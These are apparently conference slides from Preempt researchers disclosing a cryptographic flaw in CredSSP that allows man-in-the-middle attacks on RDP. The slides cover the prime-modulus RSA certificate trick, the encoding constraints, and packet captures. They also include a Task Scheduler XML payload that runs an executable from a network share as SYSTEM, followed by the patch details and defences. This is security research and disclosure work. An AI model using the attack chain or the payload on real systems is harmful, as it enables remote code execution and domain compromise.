Server Tailgating – A Chosen-Plain text Attack on RDP

- Eyal Karni
- Yaron Zinar
- Roman Blachman
Eyal Karni
- Security Researcher @ Preempt

Yaron Zinar
- Lead Security Researcher @ Preempt

Roman Blachman
- Co-founder and CTO @ Preempt

Previous Work
- CVE 2017-8563 (LDAPS NTLM-Relay)
- Microsoft Security Advisory 4056318
• Introduction
• Technical Background
• The Vulnerability
• Demo
• Port-Mortem
Introduction
What We Will Show

• A Logical (Cryptographic!) Vulnerability

• High Impact
  • Affecting All Windows Versions
  • Making RDP (Remote Desktop) Vulnerable

• Not fully patched
Attacker's Move Laterally...

https://docs.microsoft.com/en-us/advanced-threat-analytics/ata-threats
Technical Background
Kerberos

- Developed by MIT

- Default Authentication since Windows 2000

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772815(v=ws.10)
• Used to expose remote interfaces to machines for calling from remote machines

• Used in remote management scenarios
  • PSexec
  • WMI

• No developer wants to dive into this (Everyone uses RESTful stuff)
• SSPI is an API that allows application to add authenticity and privacy almost transparently.

• Applicable to any application that allows “Windows Authentication”

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772815(v=ws.10)
• Used for traffic encryption

• De-facto standard for encryption
  • Web
  • VoIP
  • …

• Server identity verified via certificate (RSA)
CredSSP

• An MS protocol to facilitate secure credential forwarding

• Mutual authentication

• CredSSP protocol flow
  • Double encryption using TLS/GSS-API
  • Uses a technique “Channel Binding”

RDP (Remote Desktop Protocol)

• RDP Security
  • Full – NLA (Network Level Authentication) + TLS
  • TLS only
  • No security

• RDP restricted-admin
  • Usually in RDP we have network login + interactive login
  • RDP restricted admin includes only network login (single-sign-on)
RDP Flow

• TLS is Established

• NLA is carried out using CredSSP

• Certificate Validation

• The user sends its password over CredSSP

• Session Established – now UI stuff
If Kerberos:
• There will be no validation

If NTLM:
• Certificate will be validated
  • CA server
  • Certificate pinning
## Protocols Recap

<table>
<thead>
<tr>
<th>Kerberos</th>
<th>NTLM</th>
</tr>
</thead>
<tbody>
<tr>
<td>CredSSP</td>
<td></td>
</tr>
<tr>
<td>TLS</td>
<td></td>
</tr>
<tr>
<td>RDP</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Kerberos</th>
<th>NTLM</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>MSRPC</td>
</tr>
</tbody>
</table>
The Vulnerability
Looking for NTLM flaws

• Discover CVE-2017-8563
• Tried enabling NTLM-Relay with MiTM only
• Found issue #1 – certificate check only after NLA
• Began researching CredSSP
  • Found issue #2

pubKeyAuth: This field is used to assure that the public key that is used by the server during the TLS handshake belongs to the target server and not to a "man in the middle". This TLS session-binding is specified in section 3.1.5. After the client completes the SPNEGO phase of the CredSSP Protocol, it uses GSS_WrapEx() for the negotiated protocol to encrypt the server's public key. The pubKeyAuth field carries the message signature and then the encrypted public key to the server. In response, the server uses the pubKeyAuth field to transmit to the client a modified version of the public key (as specified in section 3.1.5) that is encrypted under the encryption key that is negotiated under SPNEGO.
The public key is encrypted and signed as if it were an application data.

Well, why could it be a valid application data?
Vulnerability Flow Chart

(RDP) Session Initiation

(TLS) Rouge Certificate

Kerberos U2U Negotiation

(CredSSP) GSS_WrapEx(Rouge Cert)

(MSRPC) GSS_WrapEx(TaskSch)
Can we use any Public Key?

• The public key doesn't get verified

• The public key should still be valid in the TLS session

• But it should be a valid as a RSA key.
  • Is this possible?
RSA Quick Overview

- A Public Key Encryption Scheme
  - Public key – (N,e)
  - Private key – d
- Safe assuming hardness of prime factorization

RSA Quick Overview

\[ N = pq \]
\[ \varphi(N) = (p - 1)(q - 1) \]
\[ e = d^{-1} \mod \varphi(N) \]

\[ m^e = c \pmod{N} \]
“Broken” RSA

\[ N = p \]
\[ \varphi(N) = (p - 1) \]
\[ e = d^{-1} \mod \varphi(N) \]

\[ m^e = c \pmod{N} \]
"Broken" RSA

\[ N = pq \]
\[ \varphi(N) = (p-1)(q-1) \]
\[ e = \text{Public exponent} \]
\[ n = \text{Public modulus} \]

\[ c_0 = m \pmod{N} \]

Original message

Encrypted message

NOT SURE IF RSA IS BROKEN

OR I'M USING N=P

Easily Breakable
(but who cares?)
Is it easy to find a prime?

• Prime Number Theorem:

\[ P(\text{get a prime in random}) \approx \frac{\pi(x)}{x} \approx \frac{1}{\ln x} \]

• We want to sign ~600 bytes of data
  • Expected number of iteration to find a prime: \( \ln(2^{8\cdot 600}) \approx 3327 \)
  • Only need 2 bytes of freedom in the packet
    \( \log_{256}\ln(2^{8\cdot 600}) \approx 1.463 \)
Obstacle Passed
• How is the X.509 certificate represented? ASN.1

Requirements for Public Key

The biggest problem is 8 first bytes that are uncontrolled

ASN.1 Sequence

Tag

Length

Tag

Length

N

Tag

Length

e

Controlled

Uncontrolled

0x30
0x82
0x01
0x0A
0x02
0x82
0x01
0x01

8+len(N)

9+len(N)

10+len(N)

...
Finding A Suitable Protocol

• Supports SSPI
• Encoding requirements
  • Application Data is Non-ASN.1
  • Specific 8-bytes Prefix which we have no control over
  • Includes some degree of freedom
• Able to do harm with a single signed packet
• Available on wide variety of machines
• Supports SPNEGO ✓
• Encoding requirements
  • Application Data is Non-ASN.1 It is actually MIDL ✓
  • Specific 8-bytes Prefix which we have no control over ✓
  • Includes some degree of freedom ✓
• Able to do harm with a single signed packet ✓
• Available on wide variety of machines ✓
Frame 22: 374 bytes on wire (2992 bits), 374 bytes captured (2992 bits) on interface Ethernet II, Src: VMware_93:d4:fa (00:50:56:93:d4:fa), Dst: VMware_93:5c:d2 (00)
Internet Protocol Version 4, Src: 10.1.0.55, Dst: 10.1.0.23
Transmission Control Protocol, Src Port: 59305 (59305), Dst Port: 49154 (49154)
Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Request, Fr

<table>
<thead>
<tr>
<th>Version: 5</th>
</tr>
</thead>
<tbody>
<tr>
<td>Version (minor): 0</td>
</tr>
<tr>
<td>Packet type: Request (0)</td>
</tr>
<tr>
<td>Packet Flags: 0x03</td>
</tr>
<tr>
<td>Data Representation: 10000000</td>
</tr>
<tr>
<td>Frag Length: 320</td>
</tr>
<tr>
<td>Auth Length: 16</td>
</tr>
<tr>
<td>Call ID: 2</td>
</tr>
<tr>
<td>Alloc hint: 270</td>
</tr>
<tr>
<td>Context ID: 0</td>
</tr>
<tr>
<td>Opnum: 1</td>
</tr>
<tr>
<td>Auth type: NTLMSSP (10)</td>
</tr>
<tr>
<td>Auth level: Packet privacy (6)</td>
</tr>
<tr>
<td>Auth pad len: 2</td>
</tr>
<tr>
<td>Auth Rsvrd: 0</td>
</tr>
<tr>
<td>Auth Context ID: 79231</td>
</tr>
<tr>
<td>[Response in frame: 23]</td>
</tr>
</tbody>
</table>

Encrypted stub data: d353e4addad407d6a52832b9381ad113a97d0c76e5b90379...

NTLMSSP Verifier

| Version Number: 1 |
| Verifier Body: d9a9fd5dd30c38600000000 |
#1 Try – Exploiting NTLM

• Supports SPNEGO
• Encoding Requirements
  • Application data is non-ASN.1
  • Specific 8-bytes Prefix which we have no control over
  • Includes some degree of freedom
  • Signature scope (no header!)
• Able to do harm with a single packet
• Available on a wide variety of machines

Ability to do NTLM Relay
Much Stronger!
#2 Try – Exploiting Kerberos

## Protocol Details

- **Version:** 5
- **Version (minor):** 0
- **Packet type:** Request (0)
- **Packet Flags:** 0x03
- **Data Representation:** 10000000 (Order: Little-endian, Char: ASCII, Float: IEEE)
  - **Frag Length:** 692
  - **Auth Length:** 60
  - **Call ID:** 3
  - **Alloc hint:** 600
  - **Context ID:** 0
  - **Opnum:** 1

### Auth Info
- **SPNEGO, Packet privacy, AuthContextId(79231)
- **Auth type:** SPNEGO (9)
- **Auth level:** Packet privacy (6)
- **Auth pad len:** 0
- **Auth Rsrvd:** 0
- **Auth Context ID:** 79231

### GSS-API
- **Generic Security Service Application Program Interface**
  - **krb5_blob:** 058406ff0000001c00000000362b72e284b4a600ea171164...
    - **KRB_TOKEN_CFX_WRAP (0x0405)
    - **krb5_cfx_flags:** 0x06, AcceptorSubkey, Sealed
    - **krb5_filler:** ff
    - **krb5_cfx_ec:** 0
    - **krb5_cfx_rcc:** 28
    - **krb5_cfx_seq:** 908817122
    - **krb5_sgn_cksum:** 84b4a680e97716465d1207a933950a0f7e96958b6c84c7...

### Response
- **[Response in frame: 535]**

- **Encrypted stub data:** 199fa1afa5bf3cffe48364ab980bec1a874badfeac1e6cc...
Exploit Details

- **MIDL Requirements**
  - First element is string
  - Apparently MSRPC ignores the end of the data (so it is chosen as freedom)

- We encode a Task Registration command
  - For immediate execution
  - The payload is in a share

```xml
xml: u'<?xml version="1.0"?>
<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<RegistrationTrigger/>
</Triggers>
<Actions>
<Exec>
<Command>\IP\share\exe\cutable.exe</Command>
</Exec>
</Actions>
</Task>
```

<table>
<thead>
<tr>
<th>path</th>
<th>u'aa\x00'</th>
</tr>
</thead>
<tbody>
<tr>
<td>xml</td>
<td>u'&lt;?xml version=&quot;1.0&quot;?&gt;'</td>
</tr>
<tr>
<td>xmlns</td>
<td><a href="http://schemas.microsoft.com/windows/2004/02/mit/task">http://schemas.microsoft.com/windows/2004/02/mit/task</a></td>
</tr>
<tr>
<td>Triggers</td>
<td>RegistrationTrigger</td>
</tr>
<tr>
<td>Actions</td>
<td>Exec</td>
</tr>
<tr>
<td>Command</td>
<td>\IP\share\exe\cutable.exe</td>
</tr>
<tr>
<td>flags</td>
<td>6</td>
</tr>
<tr>
<td>sddl</td>
<td>NULL</td>
</tr>
<tr>
<td>logonType</td>
<td>3</td>
</tr>
<tr>
<td>cCreds</td>
<td>1</td>
</tr>
<tr>
<td>pCreds</td>
<td>[ userId: u'S-1-5-18\x00', password: NULL, flags: 1, ]</td>
</tr>
</tbody>
</table>
Success!
Demo
Post Mortem
Should I care?

• 88.78% of desktops running Windows OS

• 95% of Fortune 500 use Active Directory

• 60% of inspected networks use RDP on a daily-basis

Should I care?

• MiTM is a real threat:
  • CVE 2018-0101 (Cisco ASA)
  • ARP Poisoning
  • KRACK

• Easy escalation to domain admin
  • DC Traffic -> DC Admin
Affected Systems

• All Windows Versions

• Affected protocols:
  • RDP (including restricted-admin)
  • WinRM

• Important – proprietary RDP clients are also affected
Patch Details

• NLA Before Certificate Validation (Issue #1)
  • Microsoft has not addressed this issue
  • Recommends using Remote Credential Guard

• Malicious Certificate (Issue #2)
  • Protocol was modified so that the public key hash would be signed
  • Added protocol negotiation – needs to be enabled by GPO
  • https://aka.ms/credssp
Disclosure Timeline

• 2017-08-20 – Initial disclosure to MSRC
• 2017-08-30 – MS repro attack and acknowledge issue
• 2017-09-18 – MS requested an extension on 90 days SLA
• 2018-03-12 – A patch is applied to CredSSP client/server MS code
• 2018-04-17 – MS RDP client update to include warning (tentative)
• 2018-05-08 – A 2nd patch will be applied to eradicate vulnerable CredSSP (tentative)
• We’re releasing the following tools:
  • A malicious cert creation tool
  • A tool performing MiTM attack on RDP
Key Takeaways

- Patching is not enough
- Never sign on untrusted data
- Defense-in-depth
  - Principle of least privilege
  - Network segmentation helps!
  - Monitor accounts usage
  - Reduce spread of admin credentials
Questions